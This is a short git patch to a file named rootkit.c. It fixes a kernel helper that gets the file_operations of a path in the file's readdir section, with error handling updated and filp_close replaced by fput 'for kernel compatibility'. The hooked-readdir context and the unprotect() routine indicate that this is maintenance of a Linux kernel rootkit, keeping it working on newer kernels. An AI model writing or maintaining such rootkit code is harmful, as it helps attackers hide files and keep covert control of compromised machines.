From 0944a7617fca06a9eb3ba3206694cd8700798abc Mon Sep 17 00:00:00 2001 From: Vasan Dilaksan Date: Wed, 26 Nov 2025 16:40:46 +0400 Subject: [PATCH] fix: replace deprecated filp_close with fput for kernel compatibility --- rootkit.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/rootkit.c b/rootkit.c index b3994a9..881a96d 100644 --- a/rootkit.c +++ b/rootkit.c @@ -636,17 +636,20 @@ void unprotect(void) // ========== READDIR ========== - struct file_operations *get_fop(const char *path) { struct file *file; + struct file_operations *ret = NULL; - if ((file = filp_open(path, O_RDONLY, 0)) == NULL) { + file = filp_open(path, O_RDONLY, 0); + if (IS_ERR(file)) { return NULL; } - struct file_operations *ret = (struct file_operations *) file->f_op; - filp_close(file, 0); + ret = (struct file_operations *) file->f_op; + + // Used fput instead of filp_close. + fput(file); return ret; }